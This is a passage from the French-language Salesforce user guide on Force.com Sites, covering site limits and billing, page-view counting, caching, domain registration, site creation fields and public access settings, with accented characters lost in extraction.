Pour permettre des ides de fonctionner avec des sites, l'organisation doit avoir un portail actif associ une communaut.
Sinon, les utilisateurs rencontrent des erreurs.
Auto-inscription
Les rgles suivantes s'appliquent auto-inscription des sites :

Les sites ne prennent pas en charge l'utilisation de comptes personnels pour l'auto-inscription.
Seuls les portails clients peuvent tre utiliss pour l'auto-inscription. Les portails partenaires ne prennent pas en
charge l'auto-inscription.
Lors de l'auto-inscription via un site :
-

les rgles de validation s'appliquent lors de la cration d'un utilisateur ;

les rgles de validation sont ignores lors de la cration d'un contact ;

Cration de packages
Les rgles suivantes s'appliquent la cration de package pour les sites :

Les sites ne peuvent pas tre intgrs un package. Vous pouvez toutefois inclure un code chantillon, des pages
Visualforce, des classes Apex ou des composants pour un site utilisant un package gr.
Les sites Force.com doivent tre activs pour pouvoir installer des packages non grs qui contiennent des pages
Visualforce ou des classes Apex faisant rfrence un site.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Mise en cache des pages de sites Force.com
Limites et facturation des sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Configuration du portail Client

Limites et facturation des sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

L'utilisation des sites Force.com est rgie par des limites mensuelles et quotidiennes. Il est important de comprendre ces limites
pour garantir le succs de vos sites. Salesforce.com fournit des outils qui aident rduire la consommation de bande passante
et surveiller l'utilisation du site pour vous viter de dpasser ces limites.
Cette rubrique comprend les sections suivantes :

Sites Force.com

Guide de l'utilisateur | Limites et facturation des sites Force.com | 1399

Limites et technologie de facturation

Limites et restrictions des sites Force.com
Facturation et application des vues de pages mensuelles
Comptabilisation des vues de pages

Limites et technologie de facturation

Cette section dfinit la terminologie utilise pour les limites et la facturation des sites Force.com :

Les Vues de page sont calcules en fonction du nombre de pages servies par le serveur d'origine du site et le serveur de
cache.
La Bande passante est calcule en fonction du nombre de mgaoctets servis et reus par le serveur d'origine du site et
le serveur de cache.
Le Dlai de demande de service (en minutes) est calcul en fonction du dlai serveur total requis pour gnrer des pages
pour le site.
La Dernire priode de 24 heures correspond aux 24 heures prcdant l'heure courante.
Le Serveur d'origine correspond au serveur Web qui hberge votre site.
Le Serveur de cache correspond au serveur qui sert les pages de votre site mis en cache.
La Priode actuelle correspond au mois actuel durant lequel vous tes autoris afficher un certain nombre de pages
pour votre organisation.

Limites et restrictions des sites Force.com

Le tableau suivant prsente les limites de site de chaque dition :
Edition

Nombre maximal
de sites

Limite de bande passante

(par priode de 24 heures)

Dlai de demande de service Vues de pages

(par priode de 24 heures)
maximales

Developer Edition 1

500 Mo

10 minutes

N/A

Free Edition

10 Go

360 minutes

250 000

1 Go pour sandbox

30 minutes pour sandbox

500 000

40 Go pour production

60 heures pour production

1 Go pour sandbox

30 minutes pour sandbox

40 Go pour production

60 heures pour production

Enterprise Edition 25

Unlimited Edition 25

1 000 000

Assurez-vous de tenir compte de toutes les options de mise en cache disponibles pour vous aider respecter ces limites et
utiliser les outils d'analyse relatives l'utilisation des sites afin de surveiller vos sites.
Facturation et application des vues de pages mensuelles
Cette section prsente comment salesforce.com applique les limites de vues de pages mensuelles pour les sites :

La facturation repose sur le nombre de vues de pages mensuelles achetes pour votre organisation. Cette limite cumule les
vues de pages de l'ensemble des sites de votre organisation.
Si, au cours d'un mois donn, votre organisation atteint 110 % de sa limite de vues de pages, salesforce.com envoie une
notification par e-mail aux administrateurs de site et de facturation.
Si votre organisation dpasse 110 % de sa limite de vues de pages pendant quatre mois conscutifs, vos sites sont dsactivs
jusqu'au mois suivant ou jusqu' l'achat de vues de page supplmentaires. En outre, salesforce.com envoie un e-mail de
notification aux administrateurs de site et de facturation, ainsi qu'au responsable du site concern.

Sites Force.com

Guide de l'utilisateur | Limites et facturation des sites Force.com | 1400

Si votre organisation dpasse 300% de sa limite de vues de pages pendant quatre mois conscutifs, vos sites sont dsactivs
jusqu'au mois suivant ou jusqu' l'achat de vues de page supplmentaires. En outre, salesforce.com envoie un e-mail de
notification aux administrateurs de site et de facturation, ainsi qu'au responsable du site concern.

Comptabilisation des vues de pages

Cette section prsente comment les vues de page sont comptabilises pour les sites.
Une vue de page est une demande de chargement d'une page associe l'un des sites au sein de votre domaine Force.com ou
domaine personnalis, effectue par un utilisateur de site non authentifi. Les requtes d'utilisateurs du portail authentifis ne
sont pas comptabilises en tant que vues de pages.
Requtes comptabilises en tant que vues de page
Les requtes ci-dessous sont comptabilises en tant que vues de page :
Requtes pour...

Exemple d'URL

Votre domaine Force.com

http://masociete.force.com

Votre adresse Web personnalise

http://masociete.com

Toute page associe votre site

http://masociete.force.com/mapage

Requtes Ajax

n/a

Requtes non comptabilises en tant que vues de page

Les requtes ci-dessous ne sont pas comptabilises en tant que vues de page :
Requtes pour...

Exemple d'URL

Images Salesforce.com

http://masociete.force.com/img/force_logo_w09.gif

Vos ressources statiques

http://masociete.force.com/resource/1233771498000/background

Robots.txt

http://masociete.force.com/robots.txt

Icne favorite

http://masociete.force.com/favicon.ico

Pices jointes et documents

n/a

Pages d'erreur, telles que Bande passante

dpasse et En cours de maintenance

http://masociete.force.com/BandwidthExceeded

Remarque: L'utilisation de la page de limite de bande passante dpasse, de la page de Maintenance et de la

page d'accueil inactive n'est pas comptabilise en tant que vue de page et dans les limites de bande passante. Vous
pouvez utiliser des ressources statiques pour marquer ces pages, mais les limites suivantes s'appliquent :

La taille des ressources statiques doit tre gale 50 Ko ou infrieure.

Les ressources statiques doivent tre des feuilles de style (CSS), des fichiers d'image ou des fichiers javascript.
Vous pouvez pas utiliser des contrleurs Apex pour ces pages.

Sites Force.com

Guide de l'utilisateur | Mise en cache des pages de sites Force.com | 1401

Vous ne pouvez pas excuter des oprations SOQL ou DML partir de ces pages.

Voir aussi :
Prsentation des sites Force.com
Mise en cache des pages de sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Gnration de rapports sur les sites Force.com
Suivi de votre site l'aide Google Analytics

Mise en cache des pages de sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Les sites Force.com appliquent deux limites de priodes de 24 heures (bande passante et dlai de demande de service) qui
varient selon le type d'organisation. Bien que les limites soient leves pour les organisations de production actives, votre site
peut les dpasser en cas de trafic important ou de pages gourmandes en bande passante ou en dure de traitement. La Dernire
priode de 24 heures correspond aux 24 heures prcdant l'heure courante.
Le sites fournissent des options de mise en cache qui permettent d'exploiter les ressources de notre partenaire Content Delivery
Network (CDN) afin d'amliorer les dlais de chargement des pages et les performances des sites, et vous viter d'atteindre
les limites de bande passante ou de dlais de demande de service. Les sites permettent de dfinir la dure de mise en cache de
chaque page du site et d'optimiser la livraison de contenu pour vos utilisateurs finaux.
Contrlez le comportement de mise en cache de votre site en dfinissant l'attribut bolen cache et l'attribut entier expires
dans chaque page Visualforce. Par dfaut, les pages dont l'attribut cache n'est pas dfini sont mises en cache pendant 10
minutes (600 secondes).
Par exemple, une page dont l'expiration de la mise en cache est dfinie 15 minutes se prsente comme suit :
<apex:page cache="true" expires="900">

Remarque: Le CDN est disponible uniquement pour les organisations de production actives. Il n'est pas disponible
pour les organisations de test sandbox ou Developer Edition.
Pour protger l'intgrit des informations sensibles, les sessions et les pages SSL requises aprs l'authentification ne
sont pas mises en cache via le CDN.
Les pices jointes aux pages publiques accdes via les sites sont automatiquement mises en cache pendant 10 minutes
via le CDN.
D'autres facteurs affectent galement le comportement de mise en cache, comme le type d'utilisateur qui accde la page, si
la requte provient du serveur de cache et si le site est activ par connexion. Le tableau ci-dessous prsente le comportement
de mise en cache de chaque requte.
Requtes provenant du serveur de cache
Si le site est activ par connexion :

Sites Force.com

Guide de l'utilisateur | Mise en cache des pages de sites Force.com | 1402

Attribut de cache

Comportement de mise en cache

Emplacement de mise en cache

Dfini TRUE

Cache expire selon une valeur dfinie Serveur de cache uniquement

par l'utilisateur

Non dfini

Cache expire dans dix minutes

Serveur de cache uniquement

Dfini FALSE

Pas de mise en cache

Aucun

Attribut de cache

Comportement de mise en cache

Emplacement de mise en cache

Dfini TRUE

Cache expire selon une valeur dfinie Serveur et navigateur de mise en cache
par l'utilisateur

Non dfini

Cache expire dans dix minutes

Serveur et navigateur de mise en cache

Dfini FALSE

Pas de mise en cache

Aucun

Si le site n'est pas activ par connexion :

Requtes ne provenant pas du serveur de cache

Si le site est activ par connexion :
Attribut de cache

Comportement de mise en cache

Emplacement de mise en cache

Dfini TRUE

Pas de mise en cache

Aucune

Non dfini

Pas de mise en cache

Aucune

Dfini FALSE

Pas de mise en cache

Aucun

Attribut de cache

Comportement de mise en cache

Emplacement de mise en cache

Dfini TRUE

Cache expire selon une valeur dfinie Navigateur uniquement

par l'utilisateur

Non dfini

Cache expire dans dix minutes

Si le site n'est pas activ par connexion :

Navigateur uniquement

Sites Force.com

Guide de l'utilisateur | Configuration de sites Force.com | 1403

Attribut de cache

Comportement de mise en cache

Emplacement de mise en cache

Dfini FALSE

Pas de mise en cache

Aucun

Voir aussi :
Prsentation des sites Force.com
Limites et facturation des sites Force.com
Configuration de sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Gnration de rapports sur les sites Force.com
Suivi de votre site l'aide Google Analytics

Configuration de sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Pour modifier les paramtres d'accs public de sites Force.com : Grer les utilisateurs

Les sites Force.com permettent de crer des sites Web publics et des applications directement intgrs votre organisation
Salesforce.com sans que les utilisateurs se connectent avec un nom d'utilisateur et un mot de passe.
Pour configurer un site Force.com :
1.
2.
3.
4.
5.
6.

7.
8.
9.

Activez les sites Force.com pour votre organisation.

Cliquez sur Configuration Dvelopper Sites.
Enregistrez un domaine Force.com personnalis pour votre organisation.
Crez et configurez votre site.
Dveloppez et utilisez des pages Visualforce pour votre site, utilisez ou masquez des pages standard et personnalisez ou
remplacez les pages d'erreur prtes l'emploi. Associez ces pages votre site.
Choisissez un modle de site. Utilisez le champ de recherche pour trouver et slectionner un modle que vous avez dvelopp
ou utilisez le modle prt l'emploi fourni. Le modle de site offre la prsentation de page et la feuille de style pour votre
site et ignore tout formatage hrit du portail associ.
Activez un portail pour la connexion ou l'auto-inscription, puis associez-le votre site.
Vous pouvez galement modifier les paramtres d'accs public.
Lorsque vous tes prt rendre votre site public, cliquez sur Activer dans la page Dtails sur le site. Vous pouvez galement
activer votre site partir des pages Modifier le site et Sites.

Sites Force.com

Guide de l'utilisateur | Gestion des sites Force.com | 1404

10. Une fois vos sites crs, vous pouvez y excuter des rapports et des tableaux de bord.

Voir aussi :
Prsentation des sites Force.com
Gestion des sites Force.com
Cration et modification de sites Force.com
Configuration des sites Force.com
Association d'un portail avec des sites Force.com

Gestion des sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com permettent de crer des sites Web publics et des applications directement intgrs votre organisation
Salesforce.com sans que les utilisateurs se connectent avec un nom d'utilisateur et un mot de passe.
Pour lancer l'utilisation de sites Force.com, slectionnez Configuration Dvelopper Sites. partir de cette page, vous
pouvez :

Enregistrer votre domaine Force.com, si ce n'est pas dj fait.

Visualiser tous les sites hbergs dans votre domaine Force.com.
Cliquer sur Nouveau pour crer un site.
Cliquez sur Modifier pour apporter des modifications un site existant.
Cliquez sur Activer ou Dsactiver pour modifier le statut de votre site.
ATTENTION: Assurez-vous de ne pas exposer d'informations confidentielles.

Cliquez sur l'tiquette du site pour afficher ses dtails.

Cliquez sur l'URL du site pour l'ouvrir dans un navigateur.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Cration et modification de sites Force.com
Configuration des sites Force.com

Sites Force.com

Guide de l'utilisateur | Enregistrement d'un domaine Force.com personnalis | 1405

Enregistrement d'un domaine Force.com personnalis

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com permettent de crer des sites Web publics et des applications directement intgrs votre organisation
Salesforce.com sans que les utilisateurs se connectent avec un nom d'utilisateur et un mot de passe.
Pour commencer, enregistrez le domaine Force.com de votre entreprise. Ce nom de domaine unique est utilis pour tous les
sites que vous crez. Mme si vous enregistrez un domaine de niveau suprieur reprsentant une marque pour votre site, vous
devez choisir un domaine Force.com. L'URL de la marque est redirige vers le domaine Force.com.
Pour enregistrer votre domaine Force.com :
1. Cliquez sur Configuration Dvelopper Sites.
2. Entrez un nom unique pour votre domaine Force.com. Ce nom ne peut contenir que des caractres de soulignement et
alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace,
ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Salesforce.com
recommande d'utiliser le nom de votre socit ou une variante, par exemple que masociete.
ATTENTION: Une fois votre nom de domaine Force.com enregistr, vous ne pouvez pas le modifier.
Les noms de domaine de Free Edition sont attribus automatiquement et ne peuvent pas tre mis jour. Crez
une adresse Web personnalise si vous souhaitez utiliser un nom de domaine personnalis.
3. Cliquez sur Vrifier la disponibilit pour confirmer que le nom de domaine saisi est unique. S'il est dj utilis, vous tes
invit le modifier.
4. Lisez, puis acceptez les Conditions d'utilisation des sites Force.com en cochant la case.
5. Cliquez sur Enregistrer mon domaine Force.com. Une fois les Conditions d'utilisation acceptes et votre domaine
Force.com enregistr, les modifications lies la cration du site sont consignes dans le journal d'audit et la liste associe
Historique du site de votre organisation. L'entre en vigueur de votre enregistrement peut prendre jusqu' 48 heures.
Remarque: L'laboration d'URL scurises pour vos sites Force.com dpend du type d'organisation dont ils dpendent.
Dans les exemples suivants, le prfixe du sous-domaine est masociete , le nom du test sandbox est testsandbox ,
le nom de l'instance est na1 et le nom de l'instance de test sandbox est cs1 :
Type d'organisation

URL scurise

Developer Edition

https://masociete-developer-edition.na1.force.com

Sandbox

https://masociete.testsandbox.cs1.force.com

Production

https://masociete.securisee.force.com

Sites Force.com

Guide de l'utilisateur | Cration et modification de sites Force.com | 1406

Le prfixe du sous-domaine pour Developer Edition doit tre limit 22 caractres. L'URL scurise est affiche dans
la page des Paramtres de connexion.

Voir aussi :
Prsentation des sites Force.com
Observations sur les sites Force.com
Configuration de sites Force.com

Cration et modification de sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Les sites Force.com permettent de crer des sites Web publics et des applications directement intgrs votre organisation
Salesforce.com sans que les utilisateurs se connectent avec un nom d'utilisateur et un mot de passe.
Une fois votre domaine Force.com enregistr, crez un site Force.com en procdant comme suit :
1. Cliquez sur Configuration Dvelopper Sites.
2. Cliquez sur Nouveau ou sur Modifier pour un site existant.
3. Dans la page de modification de site, renseignez les champs suivants :
Champ

Description

Etiquette du site

Nom du site tel qu'il s'affiche dans l'interface utilisateur.

Nom du site

Nom utilis pour rfrencer le site dans l'API des services

Web Force.com. Ce nom ne peut contenir que des caractres
de soulignement et alphanumriques, et il doit tre unique
dans votre organisation. Il doit commencer par une lettre,
ne pas inclure despace, ne pas se terminer pas un trait de
soulignement et ne doit pas contenir deux traits de
soulignement conscutifs.

Description du site

Description facultative du site.

Contact du site

Utilisateur qui reoit les communications relatives au site

provenant des visiteurs et de salesforce.com.

Adresse Web par dfaut

URL Force.com unique pour ce site. Force.com fournit la

premire partie de l'URL, base sur le nom de domaine que
vous avez inscrit ; vous devez la complter en ajoutant un
nom de site unique. Si vous ne configurez pas d'adresse Web

Sites Force.com

Champ

Guide de l'utilisateur | Cration et modification de sites Force.com | 1407

Description
personnalise via un registre de nom de domaine, le public
utilisera cette URL pour accder votre site.

Adresse Web scurise

URL Force.com unique pour ce site lors de l'utilisation du

protocole SSL. L'adresse Web scurise est utilise pour le
protocole SSL mme si vous dfinissez une adresse Web
personnalise.

Adresse Web personnalise

L'adresse Web personnalise votre marque facultative que

vous enregistrez dans un registre de nom de domaine tiers.
L'adresse Web personnalise agit comme un alias pour votre
adresse Force.com.
Pour activer une adresse Web personnalise, crez un
enregistrement CNAME dans votre domaine Force.com
avec ce registre. Si vous n'avez pas enregistr cette adresse,
une erreur se produit. Les adresses Web personnalises ne
sont pas disponibles pour les organisations de test sandbox
ou Developer Edition.
Remarque: Si vous crez un domaine de niveau
suprieur ou un sous-domaine prsentant une
marque commerciale via un registre de nom de
domaine, l'enregistrement CNAME qui vous
fournissez ce registre doit correspondre votre
nom de domaine Force.com, pas l'URL du site.
Par exemple, si vous saisissez nomsociete en
enregistrant le domaine Force.com, CNAME doit
tre nomsociete.force.com, pas la valeur
complte de l'URL du site.

Actif

Option qui active votre site lorsque vous tre prt le publier
pour les utilisateurs. Vous pouvez galement crer votre site
depuis les pages Sites et Dtails du site. Lorsque le site est
inactif, la page spcifie dans le champ Page d'accueil
du site inactif s'affiche pour les utilisateurs.

Page d'accueil du site actif

Page vers laquelle les utilisateurs sont dirigs lorsque le site

est actif. Utilisez le champ de recherche pour trouver et
slectionner la page Visualforce que vous avez dveloppe
comme page d'accueil de votre site. Si vous souhaitez
uniquement tester votre site, slectionnez la page
UnderConstruction.
Remarque: Pour les sites Ides, vous devez utiliser
la page IdeasHome. L'apparence de votre site Ides
est hrite du portail auquel il est associ, sauf si vous
slectionnez un modle de site.

Sites Force.com

Guide de l'utilisateur | Cration et modification de sites Force.com | 1408

Champ

Description

Page d'accueil du site inactif

Page vers laquelle les utilisateurs sont dirigs lorsque le site

est inactif. Utilisez le champ de recherche pour trouver et
slectionner la page que vous souhaitez utiliser. Vous pouvez,
par exemple, slectionner une page signalant que votre site
est en construction ou en maintenance.

Modle de site

Modle qui fournit la prsentation de page et la feuille de

style de votre site. Le modle de site ignore tout formatage
hrit du portail associ. Utilisez le champ de recherche pour
trouver et slectionner un modle que vous avez dvelopp
ou utilisez le modle prt l'emploi fourni.
Remarque: Le modle de site spcifi ici est utilis
uniquement pour les pages Visualforce utilisant
l'expression $Site.Template.

Robots.txt du site

Fichier qui dfinit les parties de votre site public auxquelles

les robots Web peuvent accder. Les robots Web sont
souvent utiliss par les moteurs de recherche pour classer et
archiver les sites Web. Les balises HTML ne sont pas
autorises car elles ne sont pas compatibles avec les robots
robots.txt. Pour les pages Visualforce, ajoutez
contentType="text/plain" la balise <apex:page>.
Exemple interdisant tous les robots d'indexer l'ensemble des
pages :
<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: /
# Disallow indexing of all
pages </apex:page>

Exemple autorisant tous les robots indexer l'ensemble des

pages :
<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow:
# Allow indexing of all
pages </apex:page>

Icne de favori d'un site

Icne qui s'affiche dans le champ d'adresse du navigateur

lors de la visite du site. Ce champ permet de dfinir l'icne
de favori de l'ensemble de votre site, pas de chaque page.
Les modifications ne sont refltes dans votre site que le jour
suivant, en raison de la mise en cache.

Code de suivi Analytics

Code de suivi associ votre site. Ce code peut tre utilis

par des services tels que Google Analytics pour suivre les
donnes de demande de pages pour votre site.

Sites Force.com

Guide de l'utilisateur | Configuration des sites Force.com | 1409

Champ

Description

Activer les fils

Option qui affiche la liste associe aux fils de syndication,

permettant de crer et de grer des fils de syndication pour
les utilisateurs de vos sites publics. Ce champ est visible
uniquement si la fonctionnalit est active pour votre
organisation.

4. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des sites Force.com
Configuration de sites Force.com
Gestion des sites Force.com
Configuration des sites Force.com
Mthodes et expressions Apex associes des sites Force.com

Configuration des sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Pour modifier les paramtres d'accs public de sites Force.com : Grer les utilisateurs

Les sites Force.com permettent de crer des sites Web publics et des applications directement intgrs votre organisation
Salesforce.com sans que les utilisateurs se connectent avec un nom d'utilisateur et un mot de passe.
Une fois votre site cr, vous pouvez effectuer les oprations ci-dessous dans la page Dtails sur le site, accessible en cliquant
sur Configuration Dvelopper Sites:

Cliquer sur Modifier pour modifier le site.

Cliquer sur Paramtres d'accs public pour afficher et modifier les paramtres de scurit, notamment les autorisations,
les prsentations de page et plus encore.
Cliquez sur Paramtres de connexion pour configurer les paramtres de connexion et d'inscription de votre site. La logique
d'inscription intgre permet aux utilisateurs de s'inscrire rapidement votre portail et de s'y connecter de faon transparente,
depuis un site public.
Cliquez sur Activer ou Dsactiver pour modifier le statut de votre site.
ATTENTION: Assurez-vous de ne pas exposer d'informations confidentielles.

Sites Force.com

Guide de l'utilisateur | Configuration des sites Force.com | 1410

Cliquez sur Modifier dans les listes associes des pages Visualforce ou standard du site afin de slectionner les pages
disponibles de votre site. Toutes les pages associes au site doivent tre actives.
Cliquez sur Attribution de page pour attribuer des pages d'erreur des erreurs standard, telles que Autorisation requise
(401) et Page introuvable (404). Vous pouvez ignorer ou modifier les pages par dfaut fournies.
Cliquez sur Nouveau dans la liste associe Fils pour crer un fil de syndication. Cliquez sur Activer les fils dans la liste
Dtails sur le site pour afficher cette liste associe.
Afficher la liste associe Historique d'utilisation sur 24 heures pour consulter l'utilisation de la bande passante actuelle et
des dlais de demande de service, les limites quotidiennes et le pourcentage d'utilisation.
Ouvrez la liste associe Historique du site pour afficher le suivi des modifications apportes la configuration de votre site.

Voir aussi :
Prsentation des sites Force.com
Cration et modification de sites Force.com
Gestion des pages Visualforce de sites Force.com
Gestion des pages standard de sites Force.com
Attribution de pages d'erreur aux sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Affichage de l'historique du site Force.com
Paramtres d'accs public pour les sites Force.com
Gestion des paramtres de connexion et d'inscription aux sites Force.com
propos des fils de syndication

Sites Force.com

Guide de l'utilisateur | Gnration de rapports sur les sites Force.com | 1411

Gnration de rapports sur les sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour installer des packages :

Tlcharger des packages AppExchange

Pour excuter des rapports :

Excuter des rapports

ET
Lire sur les enregistrements inclus dans les rapports

Pour crer, modifier, enregistrer et supprimer des rapports :

Excuter les rapports et Lire sur les enregistrements inclus

dans les rapports
ET
Crer et personnaliser des rapports

Pour crer, modifier et supprimer des tableaux de bord :

Excuter des rapports

ET
Grer les tableaux de bord

Pour suivre l'activit et l'utilisation de votre site, tirez parti du package gr Rapport sur l'utilisation des sites Force.com pour
analyser vos vues de pages mensuelles, la bande passante quotidienne et les heures quotidiennes demande de service afin de
ne pas atteindre les limites mensuelles et quotidiennes des sites individuels et de votre entreprise.
Pour commencer utiliser l'analyse des sites Salesforce.com :
1.
2.
3.
4.

Installez le package gr Rapport sur l'utilisation des sites Force.com.

Utilisez les rapports de packages pour analyser l'utilisation des sites.
Vous pouvez galement crer des rapports personnaliss pour analyser l'utilisation des sites.
Utilisez le tableau de bord d'utilisation des sites pour surveiller les sites.

Installez le package gr Rapport sur l'utilisation des sites Force.com

Le package gr Rapport sur l'utilisation des sites Force.com, disponible dans AppExchange, contient des rapports prts
l'emploi ainsi qu'un tableau de bord pour surveiller l'utilisation des sites.
Pour rechercher le package gr Rapport sur l'utilisation des sites Force.com, accdez AppExchange, puis recherchez
rapport sur les sites ou accdez .
Utiliser les rapports de packages pour analyser l'utilisation des sites
Le package gr Rapport sur l'utilisation des sites Force.com contient les rapports ci-dessous, destins vous aider analyser
l'utilisation des sites de votre entreprise. Ces rapports se trouvent dans le dossier Rapports sur l'utilisation des sites, sous Tous
les rapports dans l'onglet Rapports. Vous pouvez galement slectionner Rapports sur l'utilisation des sites dans la liste
droulante Dossier, puis cliquez sur OK.

Sites Force.com

Guide de l'utilisateur | Gnration de rapports sur les sites Force.com | 1412

Remarque: Comme les donnes d'utilisation des sites sont collectes minuit, heure GMT, le dcompte de vues de
pages du jour peut tre imprcis dans les rapports, selon le fuseau horaire dans lequel vous vous trouvez. La prise en
compte des vues de pages du serveur de cache dans les rapports peut prendre un ou plusieurs jours.
Rapport

Description

Vues de pages de la priode

actuelle

Indique le nombre total de vues de pages pour la priode actuelle (calendrier mensuel),
mesur par rapport au nombre de vues de pages autoris. Les vues de pages sont divises
par site et par jour. La limite de la priode actuelle s'applique tous les sites de votre
entreprise.

Utilisation totale de bande passante Indique le total d'utilisation totale de bande passante au cours des 30 derniers jours,
quotidienne
rpertorie par site, par jour, par origine et par serveurs de cache.
Vues de pages totales quotidiennes Indique les vues de pages totales au cours des 30 derniers jours, rpertories par site, par
jour, par origine et par serveurs de cache.
Utilisation de bande passante
d'origine quotidienne du site

Indique l'utilisation totale de bande passante d'origine au cours des 30 derniers jours,
rpertorie par site et par jour.

Utilisation des heures de demande Indique les heures de demande de service d'origine au cours des 30 derniers jours,
quotidiennes du site
rpertories par site et par jour.
Palmars des sites consommateurs Indique les sites ayant consomm la bande passante la plus importante au cours de la
de bande passante
priode actuelle.
Palmars des sites consommateurs Indique les sites ayant consomm le plus grand nombre d'heures de demande de service
de ressources
au cours de la priode actuelle.
Palmars des sites par vues de
pages

Indique les sites ayant gnr le plus grand nombre de vues de pages au cours de la priode
actuelle.

Crer des rapports personnaliss pour analyser l'utilisation des sites

Vous pouvez galement crer des rapports personnaliss sur les sites :
1. Sous l'onglet Rapports, cliquez sur Crer un nouveau rapport personnalis.
2. Pour le type de rapport, slectionnez Rapports administratifs, puis Rapports sur l'utilisation des sites. Vous devez activer
les sites pour votre organisation et installer le package gr Rapport sur l'utilisation des sites Force.com afin d'afficher le
type de rapport personnalis Rapports sur l'utilisation des sites.
3. Cliquez sur Suivant, puis suivez les instructions de cration d'un rapport personnalis. Les champs associs vos sites, tels
que Nom du site, Statut du site, Limite de bande passante quotidienne et Limite d'heures de
demande quotidiennes, peuvent tous tre utiliss dans votre rapport personnalis.
Remarque: Lorsque vous crez vos propres rapports personnaliss l'aide du type de rapport personnalis Rapports
sur l'utilisation des sites, notez que la colonne Bande passante d'origine est indique en octets et la colonne
Heure de demande est indique en millisecondes. Assurez-vous de tenir compte de la diffrence en units en
comparant ces colonnes aux colonnes Limite de bande passante quotidienne et Limite d'heures de
demande quotidiennes, indiques respectivement en mgaoctets et en minutes.
Pour les rapports prts l'emploi inclus dans le package gr, la bande passante est indique en mgaoctets et l'heure
de demande est indique en minutes.

Sites Force.com

Guide de l'utilisateur | Paramtres d'accs public pour les sites Force.com | 1413

Utiliser le tableau de bord d'utilisation des sites pour surveiller les sites
Le package gr Rapport sur l'utilisation des sites Force.com contient le tableau de bord d'utilisation des sites qui permet de
surveiller en temps rel les sites de votre entreprise. Le tableau de bord contient un composant pour chaque rapport fourni
dans le package gr.
Pour accder au tableau de bord, sous l'onglet Tableaux de bord, procdez comme suit :

Utilisez le champ Afficher le tableau de bord

Vous pouvez galement cliquer sur Aller la liste de tableaux de bord, puis slectionner Tableau de bord d'utilisation
des sites dans la liste droulante Dossier.

Pour modifier le tableau de bord, cliquez sur Modifier, puis suivez les instructions de modification des tableaux de bord. Vous
pouvez galement crer votre propre tableau de bord personnalis l'aide de tout rapport personnalis que vous avez cr.
Ajoutez ventuellement le tableau de bord d'utilisation des sites votre page d'accueil en tant qu'instantan d'un tableau de
bord.

Voir aussi :
Prsentation des sites Force.com
Affichage de l'historique d'utilisation du site sur 24 heures
Suivi de votre site l'aide Google Analytics
Prsentation des rapports
Prsentation des tableaux de bord

Paramtres d'accs public pour les sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer et modifier des sites Force.com :

Personnaliser l'application

Pour modifier les paramtres d'accs public de sites Force.com : Grer les utilisateurs

Les paramtres d'accs public contrlent les oprations que les utilisateurs publics peuvent effectuer sur chaque site Force.com.
Pour dfinir les paramtres d'accs public de votre site :
1. Cliquez sur Configuration Dvelopper Sites.
2. Cliquez sur le nom du site que vous souhaitez contrler.
3. Cliquez sur Paramtres d'accs public.
partir de la page du profil, vous pouvez :

Cliquez sur Modifier pour dfinir les autorisations d'accs public de votre site. Vous pouvez accorder des autorisations
Lire et Crer sur tous les objets standard, l'exception des produits, des catalogues de prix et des ides, et des
autorisations Lire Crer Modifier et Supprimer sur tous les objets personnaliss. Toutes les autorisations
qui ne sont pas dfinies par dfaut doivent tre dfinies manuellement.

Sites Force.com

Guide de l'utilisateur | Paramtres d'accs public pour les sites Force.com | 1414

ATTENTION: Salesforce.com recommande de dfinir un partage priv pour les objets sur lesquels vous
accordez un accs Lire dans votre site. Les utilisateurs qui accdent votre site peuvent ainsi afficher et
modifier uniquement les donnes associes votre site.
Salesforce.com recommande galement de scuriser l'affichage de toutes les vues de liste. Dfinissez l'affichage
de vos listes de vue Visible certains groupes d'utilisateurs, puis spcifiez les groupes
partager. Les vues de liste dont l'affichage est dfini Visible tous les utilisateurs sont visibles
aux utilisateurs publics de votre site. Pour partager une vue de liste avec des utilisateurs publics, crez un nouveau
groupe public pour ces utilisateurs et accordez leur une visibilit. Si le partage de l'objet est dfini priv, les
utilisateurs publics ne peuvent pas afficher ces enregistrements, quel que soit le paramtre de visibilit des vues
de liste.

Cliquez sur Modifier pour contrler la visibilit des applications personnalises dans la section Paramtres des
sous-applications personnalises de la page. Si vous souhaitez exposer une application personnalise et ses onglets
associs des utilisateurs publics, dfinissez uniquement cette application comme visible, puis appliquez cette dfinition
en tant que paramtre par dfaut pour viter d'exposer d'autres pages. Si des pages de votre site utilisent des en-ttes
Salesforce.com standard, d'autres applications visibles peuvent tre affiches par des utilisateurs publics.
Cliquez sur Modifier dans la liste associe Heures de connexion pour dfinir les heures auxquelles les utilisateurs peuvent
accder au site.
Cliquez surNouveau dans la liste associe Plages de connexion IP pour restreindre les plages d'adresse IP partir
